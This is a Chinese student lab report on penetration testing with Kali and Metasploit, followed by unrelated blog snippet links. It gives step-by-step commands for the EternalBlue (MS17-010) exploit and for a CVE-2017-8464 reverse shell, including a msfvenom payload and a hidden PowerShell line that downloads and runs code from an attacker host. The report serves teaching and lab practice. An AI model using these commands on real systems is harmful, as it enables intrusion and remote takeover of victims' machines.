当前位置: 首页 > news >正文

信息系统安全——基于 KALI 和 Metasploit 的渗透测试

实验 2  基于 KALI  Metasploit 的渗透测试

2.1 实验名称

《基于 KALI  Metasploit 的渗透测试》

2.2 实验目的

1 、熟悉渗透测试方法

2 、熟悉渗透测试工具 Kali  Metasploit 的使用

2.3 实验步骤及内容

1 、安装 Kali 系统

2 、选择 Kali  1-2 种攻击工具,记录攻击的主要步骤和攻击结果截图

攻击一:使用 MSF 复现“永恒之蓝”漏洞

实验环境:Win7(关闭防火墙,开启 SMB 服务);

Kali Linuxmetasploit-framework 6.2.26

1  启动 Metasploit

终端里输入 msfconsole

2  查询利用模块

终端里输入 search ms17_010 ,可以看到有哪些模块可以利用

3  使用探测模块

终端内输入 use auxiliary/scanner/smb/smb_ms17_010

4  设置探测范围

终端内输入 show options ,在这里需要配置一个 RHOSTS

终端内输入 set rhosts 192.168.3.0/24 设置扫描当前网段 或可以设置范围 set rhosts 192.168.3.1- 192.168.3.10

5  开始探测

终端内输入 run 执行探测。

根据上图我们可以看到 192.168.3.8   IP 的机器可能存在漏洞。

6  开始漏洞利用

首先在终端里输入 search ms17_010 ,使用模块 use

exploit/windows/smb/ms17_010_eternalblue

7  配置利用模块

配置模块 show options  配置靶机 set rhost 192.168.3.8  这里 IP 填第五步探测到的 IP 

8  执行攻击

在终端里输入 run 。看到 win 说明攻击成功,拿到 meterpreter

攻击二:“震网三代”反弹 shell

实验环境:Win10(关闭防火墙);

Kali Linuxmetasploit-framework 6.2.26

1 、使用 MSF 创建一个后门

msf  内 输 入 : msfvenom  -p  windows/x64/meterpreter/reverse_tcp  lhost= 192.168.3.23 lport=4456 -fpsh-reflection>/var/www/html/link.ps1

2 、在 kali 下开启 apache2

终端内输入:service apache2 start

3 、在受控机上创建快捷方式

powershell       -windowstyle       hidden       -exec       bypass       -c       "IEX       (New-Object

Net.WebClient).DownloadString('http://192.168.204.135/link.ps1');test.ps1"

4  回到 MSF 终端配置监听

msf 内输入: use exploit/multi/handler

5  配置 payload

set payload windows/x64/meterpreter/reverse_tcp

msf 中输入:show options  配置 payload

设置 LHOST  LPORT maf 中输入:

set lhost <当前机器 ip>  设置 LHOST

set lport <未被占用的端口>  设置 LPORT

6 、执行监听

msf 中输入:run 或者 exploit

进入靶机执行我们在靶机上创建的快捷方式,稍等片刻获取 meterpreter

2.4 实验关键过程及其分析

攻击一:使用 MSF 复现“永恒之蓝 ”漏洞

CVE-2017-0144 ,即永恒之蓝,最早爆发于 2017  4  14 日晚,是一种利用 Windows 系统的 SMB 协议漏洞来获取系统的最高权限, 以此来控制被入侵的计算机。甚至于 2017 5  12 日, 不法分子通过改造永恒之蓝”制作了勒索病毒,使全世界大范围内遭受了勒索病毒,甚至波及到学校、大型企业、政府等机构,只能通过支付高额的赎金才能恢复出文件。

SMB 是一个协议服务器信息块,它是一种客户机/服务器、请求/响应协议,通过 SMB 协议可以在计算机间共享文件、打印机、命名管道等资源, 电脑上的网上邻居就是靠 SMB  实现的;SMB 协议工作在应用层和会话层,可以用在 TCP/IP 协议之上,SMB 使用 TCP139端口和 TCP445 端口。

SMB 工作原理:

1)首先客户端发送一个 SMB negport  请求数据报,,并列出它所支持的所有 SMB 的协 议版本。服务器收到请求消息后响应请求,并列出希望使用的 SMB 协议版本。如果没有可以使用的协议版本则返回 0XFFFFH ,结束通信。

2)协议确定后,客户端进程向服务器发起一个用户或共享的认证,这个过程是通过发送 SessetupX 请求数据包实现的。客户端发送一对用户名和密码或一个简单密码到服务器,然后通过服务器发送一个 SessetupX 应答数据包来允许或拒绝本次连接。

3)当客户端和服务器完成了磋商和认证之后,它会发送一个 Tcon TconX SMB 数据报 并列出它想访问的网络资源的名称,之后会发送一个 TconX 应答数据报以表示此次连接是否接收或拒绝。

4)连接到相应资源后,SMB 客户端就能够通过open SMB 打开一个文件,通过 read SMB 读取文件,通过write SMB 写入文件,通过 close SMB 关闭文件。

永恒之蓝是在 Windows  SMB 服务处理 SMB v1 请求时发生的漏洞,这个漏洞导致攻 击者在目标系统上可以执行任意代码。通过永恒之蓝漏洞会扫描开放 445 文件共享端口的 Windows 机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。

攻击二:“震网三代 ”反弹 shell

2017  6  13 日,微软官方发布编号为 CVE-2017-8464 的漏洞公告,官方介绍 Windows 系统在解析快捷方式时存在远程执行任意代码的高危漏洞,黑客可以通过 U 盘、网络共享 等途径触发漏洞,完全控制用户系统,安全风险高危传播的载体一般是 lnklnk  windows 系统内应用程序快捷方式文件的文件类型后缀名。被攻击机插入存在攻击 lnk  U 盘后会反 shell ,哪怕是被隔离的内网,也可以在不上网的情况下被攻击。

这种漏洞通过创建恶意快捷方式,包含恶意执行脚本,点击恶意快捷方式,导致本机中病毒,并且被远控。

相关文章:

信息系统安全——基于 KALI 和 Metasploit 的渗透测试

实验 2 基于 KALI 和 Metasploit 的渗透测试 2.1 实验名称 《基于 KALI 和 Metasploit 的渗透测试》 2.2 实验目的 1 、熟悉渗透测试方法 2 、熟悉渗透测试工具 Kali 及 Metasploit 的使用 2.3 实验步骤及内容 1 、安装 Kali 系统 2 、选择 Kali 中 1-2 种攻击工具&#xff0c…...

05. 深入理解 GPT 架构

在本章的前面,我们提到了类 GPT 模型、GPT-3 和 ChatGPT 等术语。现在让我们仔细看看一般的 GPT 架构。首先,GPT 代表生成式预训练转换器,最初是在以下论文中引入的: 通过生成式预训练提高语言理解 (2018) 作者:Radford 等人,来自 OpenAI,http://cdn.openai.com/rese…...

PHP开发日志 ━━ php8.3安装与使用组件Xdebug

今天开头写点历史&#xff1a; 二十年前流行asp&#xff0c;当时用vb整合常用函数库写了一个dll给asp调用&#xff0c;并在此基础上开发一套仿windows界面的后台管理系统&#xff1b;后来asp逐渐没落&#xff0c;于是在十多年前转投php&#xff0c;不久后用php写了一套mvc框架&…...

Python - 深夜数据结构与算法之 Two-Ended BFS

目录 一.引言 二.双向 BFS 简介 1.双向遍历示例 2.搜索模版回顾 三.经典算法实战 1.Word-Ladder [127] 2.Min-Gen-Mutation [433] 四.总结 一.引言 DFS、BFS 是常见的初级搜索方式&#xff0c;为了提高搜索效率&#xff0c;衍生了剪枝、双向 BFS 以及 A* 即启发式搜索…...

langchain-Agent-工具检索

有时会定义很多工具&#xff0c;而定义Agent的时候只想使用与问题相关的工具&#xff0c;这是可以通过向量数据库来检索相关的工具&#xff0c;传递给Agent # Define which tools the agent can use to answer user queries search SerpAPIWrapper() search_tool Tool(name …...

猫头虎分享:探索TypeScript的世界 — TS基础入门 ‍

博主猫头虎的技术世界 &#x1f31f; 欢迎来到猫头虎的博客 — 探索技术的无限可能&#xff01; 专栏链接&#xff1a; &#x1f517; 精选专栏&#xff1a; 《面试题大全》 — 面试准备的宝典&#xff01;《IDEA开发秘籍》 — 提升你的IDEA技能&#xff01;《100天精通Golang》…...

Unity-生命周期函数

目录 生命周期函数是什么&#xff1f; 生命周期函数有哪些&#xff1f; Awake() OnEnable() Start() FixedUpdate() Update() Late Update() OnDisable() OnDestroy() Unity中生命周期函数支持继承多态吗&#xff1f; 生命周期函数是什么&#xff1f; 在Unity中&…...

SQL概述及SQL分类

SQL由IBM上世纪70年代开发出来&#xff0c;是使用关系模型的数据库应用型语言&#xff0c;与数据直接打交道。 SQL标准 SQL92,SQL99&#xff0c;他们分别代表了92年和99年颁布的SQL标准&#xff0c;我们今天使用的SQL语言依旧遵循这些标准。 SQL的分类 DDL&#xff1a;数据定…...

[VSCode] VSCode 常用快捷键

文章目录 VSCode 源代码编辑器VSCode 常用快捷键分类汇总01 编辑02 导航03 调试04 其他05 重构06 测试07 扩展08 选择09 搜索10 书签11 多光标12 代码片段13 其他 VSCode 源代码编辑器 官网&#xff1a;https://code.visualstudio.com/ 下载地址&#xff1a;https://code.visua…...

函数指针和回调函数 以及指针函数

函数指针&#xff08;Function Pointer&#xff09;&#xff1a; 定义&#xff1a; 函数指针是指向函数的指针&#xff0c;它存储了函数的地址。函数的二制制代码存放在内存四区中的代码段&#xff0c;函数的地址它在内存中的开始地址。如果把函数的地址作为参数&#xff0c;就…...

京东年度数据报告-2023全年度游戏本十大热门品牌销量(销额)榜单

同笔记本市场类似&#xff0c;2023年度游戏本市场的整体销售也呈下滑态势。根据鲸参谋电商数据分析平台的相关数据显示&#xff0c;京东平台上游戏本的年度销量累计超过350万&#xff0c;同比下滑约6%&#xff1b;销售额将近270亿&#xff0c;同比下滑约11%。 鲸参谋综合了京东…...

秒懂百科,C++如此简单丨第十二天:ASCLL码

目录 必看信息 Everyday English &#x1f4dd;ASCLL码是什么&#xff1f; &#x1f4dd;ASCLL码表 &#x1f4dd;利用ASCLL码实现大写转小写 &#x1f4dd;小试牛刀 总结 必看信息 ▶本篇文章由爱编程的小芒果原创&#xff0c;未经许可&#xff0c;严禁转载。 ▶本篇文…...

Qt6入门教程 4:Qt Creator常用技巧

在上一篇Qt6入门教程 3&#xff1a;创建Hello World项目中&#xff0c;通过创建一个Qt项目&#xff0c;对Qt Creator已经有了比较直观的认识&#xff0c;本文将介绍它的一些常用技巧。 Qt Creator启动后默认显示欢迎页面 创建项目已经用过了&#xff0c;打开项目也很简单&#…...

阴盘奇门八字排盘马星位置计算方法php代码

如下位置&#xff0c;马星的四个位置。 计算方法&#xff1a; 1。先根据出生年月日&#xff0c;计算得八字四柱。比如 2024年01月09日&#xff0c;四柱为 其中时柱地支为“申” 2。然后根据以下对应的数组&#xff0c;来找到id号&#xff0c;即马星位置。 根据下表来找到&am…...

vue3 使用 jsoneditor

vue3 使用 jsoneditor 在main.js中引入 样式文件 import jsoneditor/dist/jsoneditor.css复制代码放到文件中就能用了 jsoneditor.vue <template><div ref"jsonDom" style"width: 100%; height: 460px"></div> </template> <…...

若依前后端分离版使用mybatis-plus实践教程

1、根目录得pom加入依赖 <properties><mybatis-plus.version>3.5.1</mybatis-plus.version> </properties> <dependencies><!-- mp配置--><dependency><groupId>com.baomidou</groupId><artifactId>mybatis-plus…...

SpringBoot-Dubbo-Zookeeper

Apache Dubbo&#xff1a;https://cn.dubbo.apache.org/zh-cn/overview/home/ 依赖 <!--dubbo--> <dependency><groupId>org.apache.dubbo</groupId><artifactId>dubbo-spring-boot-starter</artifactId><version>2.7.3</versio…...

华为HCIE课堂笔记第十二章 ICMPv6和NDP协议

第十二章 ICMPv6和NDP 12.1 背景 ICMPv6协议用于IPV6协议的消息传递&#xff1a;地址解析、重复地址检测、无状态地址配置、NDP协议、路径MTU发现。 12.2 ICMPv6介绍 ICMPv6的头部字段包含Type字段、Code字段、校验和字段。 消息分为两种&#xff1a; 查错消息&#xff…...

GNSS科研常用相关网站及资源

代码类&#xff1a; Github GitHub: Let’s build from here GitHub 导航相关开源项目 GNSS&#xff1a;RTKLIB、GAMP II-GOOD、GPSTest、GNSSLogger 组合导航&#xff1a;ignav、VINS、Multi_Sensor_Fusion Gitee&#xff08;从Github导入后快速下载库&#xff09; Gi…...

进程的创建与回收学习笔记

目录 一、进程内容&#xff1a; 二、进程常用命令 三、创建子进程 四、子进程进阶 五、进程的退出 六、进程的回收 一、进程内容&#xff1a; 程序&#xff1a; 存放在磁盘上的指令和数据的有序集合&#xff08;文件&#xff09; 静态的 进程&#xff1a; 执行一个程序所…...

Vim 调用外部命令学习笔记

Vim 外部命令集成完全指南 文章目录 Vim 外部命令集成完全指南核心概念理解命令语法解析语法对比 常用外部命令详解文本排序与去重文本筛选与搜索高级 grep 搜索技巧文本替换与编辑字符处理高级文本处理编程语言处理其他实用命令 范围操作示例指定行范围处理复合命令示例 实用技…...

黑马Mybatis

Mybatis 表现层&#xff1a;页面展示 业务层&#xff1a;逻辑处理 持久层&#xff1a;持久数据化保存 在这里插入图片描述 Mybatis快速入门 ![在这里插入图片描述](https://i-blog.csdnimg.cn/direct/6501c2109c4442118ceb6014725e48e4.png //logback.xml <?xml ver…...

【Redis技术进阶之路】「原理分析系列开篇」分析客户端和服务端网络诵信交互实现(服务端执行命令请求的过程 - 初始化服务器)

服务端执行命令请求的过程 【专栏简介】【技术大纲】【专栏目标】【目标人群】1. Redis爱好者与社区成员2. 后端开发和系统架构师3. 计算机专业的本科生及研究生 初始化服务器1. 初始化服务器状态结构初始化RedisServer变量 2. 加载相关系统配置和用户配置参数定制化配置参数案…...

鸿蒙中用HarmonyOS SDK应用服务 HarmonyOS5开发一个医院挂号小程序

一、开发准备 ​​环境搭建​​&#xff1a; 安装DevEco Studio 3.0或更高版本配置HarmonyOS SDK申请开发者账号 ​​项目创建​​&#xff1a; File > New > Create Project > Application (选择"Empty Ability") 二、核心功能实现 1. 医院科室展示 /…...

深入解析C++中的extern关键字:跨文件共享变量与函数的终极指南

&#x1f680; C extern 关键字深度解析&#xff1a;跨文件编程的终极指南 &#x1f4c5; 更新时间&#xff1a;2025年6月5日 &#x1f3f7;️ 标签&#xff1a;C | extern关键字 | 多文件编程 | 链接与声明 | 现代C 文章目录 前言&#x1f525;一、extern 是什么&#xff1f;&…...

【 java 虚拟机知识 第一篇 】

目录 1.内存模型 1.1.JVM内存模型的介绍 1.2.堆和栈的区别 1.3.栈的存储细节 1.4.堆的部分 1.5.程序计数器的作用 1.6.方法区的内容 1.7.字符串池 1.8.引用类型 1.9.内存泄漏与内存溢出 1.10.会出现内存溢出的结构 1.内存模型 1.1.JVM内存模型的介绍 内存模型主要分…...

django blank 与 null的区别

1.blank blank控制表单验证时是否允许字段为空 2.null null控制数据库层面是否为空 但是&#xff0c;要注意以下几点&#xff1a; Django的表单验证与null无关&#xff1a;null参数控制的是数据库层面字段是否可以为NULL&#xff0c;而blank参数控制的是Django表单验证时字…...

Python 高效图像帧提取与视频编码:实战指南

Python 高效图像帧提取与视频编码:实战指南 在音视频处理领域,图像帧提取与视频编码是基础但极具挑战性的任务。Python 结合强大的第三方库(如 OpenCV、FFmpeg、PyAV),可以高效处理视频流,实现快速帧提取、压缩编码等关键功能。本文将深入介绍如何优化这些流程,提高处理…...

【Java多线程从青铜到王者】单例设计模式(八)

wait和sleep的区别 我们的wait也是提供了一个还有超时时间的版本&#xff0c;sleep也是可以指定时间的&#xff0c;也就是说时间一到就会解除阻塞&#xff0c;继续执行 wait和sleep都能被提前唤醒(虽然时间还没有到也可以提前唤醒)&#xff0c;wait能被notify提前唤醒&#xf…...

五、jmeter脚本参数化

目录 1、脚本参数化 1.1 用户定义的变量 1.1.1 添加及引用方式 1.1.2 测试得出用户定义变量的特点 1.2 用户参数 1.2.1 概念 1.2.2 位置不同效果不同 1.2.3、用户参数的勾选框 - 每次迭代更新一次 总结用户定义的变量、用户参数 1.3 csv数据文件参数化 1、脚本参数化 …...